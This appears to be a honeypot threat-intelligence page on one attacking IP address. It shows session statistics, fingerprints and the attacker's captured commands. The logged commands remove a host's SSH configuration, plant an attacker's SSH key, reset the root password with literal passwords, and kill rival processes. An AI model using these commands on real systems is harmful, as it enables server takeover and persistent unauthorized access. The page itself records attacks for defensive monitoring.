← Back to feed
Location
🇭🇰 HK / Hong Kong
ASN
AS142002 · Scloud Pte Ltd
Cloud Provider
—
Total Events
637
Top 10% by volume
Agent Count
1
First / Last Seen
2026-08-09 19:42 — 2026-08-09 23:02
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
55 (23 with login)
Avg Depth Score
0.45
Commands Executed
109
Files Downloaded
18
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:AH22y6Kr9hDr"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
- echo "root:y9tMpeWlXJyT"|chpasswd|bash
- echo "root:ePbXeoTlR8ZM"|chpasswd|bash
- echo "root:tfBc1UegXhNr"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
251b34ac25f7
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
5df75d0bb5c7
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
60cf0e4ade90
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
03898cc1ec44
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
8ecbd07653e5
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:AH22y6Kr9hDr"|chpasswd|bash
Malware Dropper
ed2f6844b8ab
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:y9tMpeWlXJyT"|chpasswd|bash
Opportunistic Bruter
e12b148fb2ce
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
cb1968c278e2
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
68b86aa3783d
LOGIN
19
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:ePbXeoTlR8ZM"|chpasswd|bash
Scanner
02ac31d1d5d5
15%
Loading events...
SSH-2.0-libssh_0.9.6
Malware Dropper
9934d062370f
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
7fa0d419a63c
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:tfBc1UegXhNr"|chpasswd|bash
Malware Dropper
ce6d842affa6
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
6d5a5e06e00e
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
f10b31191c23
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
70c5b1b7abb2
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
d0c6007b60ad
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
6a6144d3db05
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
9a2897b79ce5
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
593f57e586e6
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
d6db039a3b91
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
de9dc9273eca
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6